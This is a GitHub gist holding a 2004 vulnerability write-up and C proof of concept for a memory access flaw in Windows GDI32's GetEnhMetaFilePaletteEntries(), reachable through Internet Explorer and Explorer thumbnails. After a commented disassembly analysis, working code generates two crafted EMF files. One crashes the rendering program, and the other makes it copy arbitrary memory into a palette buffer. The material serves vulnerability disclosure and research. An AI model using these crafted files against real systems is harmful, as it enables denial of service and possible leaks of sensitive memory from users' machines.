Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created October 7, 2019 12:33
Show Gist options
  • Save ykoster/3f97cf98ea89f2638b54cb8d50cb393b to your computer and use it in GitHub Desktop.
Save ykoster/3f97cf98ea89f2638b54cb8d50cb393b to your computer and use it in GitHub Desktop.
Enhanced Meta File arbitrary memory access vulnerability - proof of concept
/* -----------------------------------------------------------------------------
* Enhanced Meta File arbitrary memory access vulnerability
* Revision 0.1, Yorick Koster, November 5th, 2004
* -----------------------------------------------------------------------------
* Summary:
* ---------
* An memory access flaw has been discovered in the
* GetEnhMetaFilePaletteEntries() [1] function. This flaw can be used to crash
* programs that call this function. Furthermore, it is also possible to copy
* arbitrary parts of memory into a buffer that is passed to the
* GetEnhMetaFilePaletteEntries() function (lppe).
*
* This function is called from within mshtml.dll and is used by Windows
* Explorer and Internet Explorer. The buffer overflow can be trigger using the
* view -> thumbnails option from the Explorer menu or it can be trigger using
* the IMG tag in an HTML page.
*
* This issue has been tested on fully patched (October 2004) Windows 2000 SP4
* running Internet Explorer 6.0 SP1.
* -----------------------------------------------------------------------------
* Details:
* ---------
* Whenever (Internet) Explorer has to render an EMF file, it loads the file
* into memory. The EMF file is referenced by a handle. This handle is used to
* in several MetaFile functions including GetEnhMetaFilePaletteEntries(). This
* function is called from within mshtml.dll. The following dump, which has been
* taken using OllyDbg attached to Internet Explorer running on Windows 2000
* SP4, shows how this function is called:
*
* 637CBCF8 . 8D43 60 LEA EAX,DWORD PTR DS:[EBX+60]
* 637CBCFB . 50 PUSH EAX
* 637CBCFC . BE 00010000 MOV ESI,100
* 637CBD01 . 56 PUSH ESI
* 637CBD02 . FF75 60 PUSH DWORD PTR SS:[EBP+60]
* 637CBD05 . FF15 54105863 CALL DWORD PTR DS:[<&GDI32.GetEnhMetaFilePaletteEntries>]
*
* First, the address of the buffer that is used to store the palette
* information is loaded into EAX and pushed on the stack. This buffer is a
* fixed size. Then 100h (256) is pushed on the stack, this value specifies
* the maximum number of palette entries that can be stored in the buffer.
* Finally, the handle to the EMF file, which was just loaded into memory is
* pushed onto the stack and the GetEnhMetaFilePaletteEntries() function is
* called.
*
* The GetEnhMetaFilePaletteEntries() funcion is located in GDI32.dll. This
* function is located at address 77F68CC7h in Internet Explorer (Windows 2000).
* The function first performs some basic verification on its parameters.
* A pointer to the EMF fike is loaded into ECX using the following instruction:
*
* 77F68CF0 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C]
*
* After this the nPalEntries (ECX + 44h) is compared with the maximum number of
* palette entries that was supplied to the GetEnhMetaFilePaletteEntries()
* function. If nPalEntries is greater than the maximum number of palette
* entries (256), then this number is used when copying the palette entries into
* the buffer. Thus the maximum number of palette entries is allways limited to
* 256. This can be observed in the following piece of code:
*
* 77F68CF3 8B41 44 MOV EAX,DWORD PTR DS:[ECX+44]
* 77F68CF6 394424 10 CMP DWORD PTR SS:[ESP+10],EAX
* 77F68CFA 73 04 JNB SHORT GDI32.77F68D00
* 77F68CFC 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10]
*
* The GetEnhMetaFilePaletteEntries() function then tries to determine the
* location of the palette entries. First, the end of the EMF file is calculated
* by adding the value of nBytes (ECX + 30h) to the EMF pointer (ECX):
*
* 77F68D00 8B51 30 MOV EDX,DWORD PTR DS:[ECX+30]
* 77F68D03 03D1 ADD EDX,ECX
*
* The last 4 bytes of the EMF file (EDX - 4h) are then substracted from the end
* of the EMF file (EDX). This value is used as the start of the palette entries.
* The function tries to store the value from EDX + Ch in ESI. This address is
* determined from the EMF file and can thus be set to any value. If EDX + Ch
* points to an invalid address, an access violation will occur, crashing the
* program that called GetEnhMetaFilePaletteEntries():
*
* 77F68D07 2B52 FC SUB EDX,DWORD PTR DS:[EDX-4]
* 77F68D0A 8B72 0C MOV ESI,DWORD PTR DS:[EDX+C]
*
* The function continues when ECX + Ch points to a valid address. The value at
* this address is stored and the end of the EMF file (EDX) is added to ESI.
* The address in ESI is used to copy upto 256 palette entries into the buffer
* that was supplied to the GetEnhMetaFilePaletteEntries() function (EDI). By
* carefully crafting and EMF file, it is possible to load any address into ESI
* and cause the data located at this address to be copied into the supplied
* buffer.
*
* 77F68D0D 03F2 ADD ESI,EDX
* 77F68D0F F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
*
* If an attacker can somehow manage to retrieve this data, for example when the
* user saves the image and the palette entries are also stored in this image,
* it may be possible to obtained sensitive information from the target's
* memory. Note that the attacker als has to find a way to cause the data to be
* send back to the attacker. This may be done automatically, or the attacker
* has to use some sort of social engineering. This scenario has not yet been
* researched and is therefore just a theoretical exploit scenario.
* -----------------------------------------------------------------------------
* Proof of concept:
* ------------------
* This code creates two EMF files. One EMF file triggers an access violation.
* The other EMF file demonstrates how an attacker can access arbitrary memory
* regions. This example cause the GetEnhMetaFilePaletteEntries() function to
* copy parts of the EMF header in to the palette entries buffer (lppe). While
* this isn't really a usefull example, it demonstrates how to set EDX & ESI to
* arbitrary memory addresses (this can be seen using a debugger, set break on
* address 77F68D0Fh).
* -----------------------------------------------------------------------------
* Conclusion:
* ------------
* Currently, it is only possible to trigger a denial of service condition.
* However, there is a theoretical possibility, that an attacker may be able to
* retrieve sensitive information from target users.
*
* Crashing client applications isn't really a threat. If someone is able to
* crash Internet Explorer, this will only annoy users. Therefore, these users
* will avoid web sites that crashes their browser.
* -----------------------------------------------------------------------------
* References:
* ------------
* [1] http://msdn.microsoft.com/library/en-us/gdi/metafile_19o3.asp
* -----------------------------------------------------------------------------
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
int fd;
ENHMETAHEADER hEMF;
DWORD i;
DWORD data;
// clear EMF header
ZeroMemory(&hEMF, sizeof(ENHMETAHEADER));
// default values
hEMF.iType = EMR_HEADER;
hEMF.dSignature = ENHMETA_SIGNATURE;
hEMF.nVersion = 0x10000;
// any arbitrary value will do
hEMF.nHandles = 0x1;
// Note I am lazy, everything is stored in the EMF header
/**** crash.emf, causes an access violation ****/
hEMF.nSize = sizeof(ENHMETAHEADER) + 4;
hEMF.nBytes = hEMF.nSize;
fd = open("crash.emf", O_CREAT | O_WRONLY | O_TRUNC);
if(fd < 0)
{
printf("Couldn't create file crash.emf!\n");
return 1;
}
// write the header
write(fd, &hEMF, sizeof(ENHMETAHEADER));
// trigger an access violation
// SUB EDX,DWORD PTR DS:[EDX-4]
data = 0x00FF0000;
write(fd, &data, sizeof(DWORD));
close(fd);
/**** end crash.emf ****/
/**** memcopy.emf, copy arbitray memory regions ****/
hEMF.nSize = sizeof(ENHMETAHEADER) + 1044;
hEMF.nBytes = hEMF.nSize;
// copy 256 palette entries (max)
hEMF.nPalEntries = 256;
fd = open("memcopy.emf", O_CREAT | O_WRONLY | O_TRUNC);
if(fd < 0)
{
printf("Couldn't create file memcopy.emf!\n");
return 1;
}
// write the header
write(fd, &hEMF, sizeof(ENHMETAHEADER));
// pad
data = 0xDEADCAFE;
write(fd, &data, sizeof(DWORD));
write(fd, &data, sizeof(DWORD));
write(fd, &data, sizeof(DWORD));
// * step 2 * set ESI
// MOV ESI,DWORD PTR DS:[EDX+C]
// ADD ESI,EDX
data = 16;
write(fd, &data, sizeof(DWORD));
// This data will get copied
data = 0x44444444;
for(i = 0; i < hEMF.nPalEntries; i++)
{
write(fd, &data, sizeof(DWORD));
}
// * step 1 * set EDX
// SUB EDX,DWORD PTR DS:[EDX-4]
data = hEMF.nBytes - sizeof(ENHMETAHEADER);
write(fd, &data, sizeof(DWORD));
close(fd);
/**** end memcopy.emf ****/
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment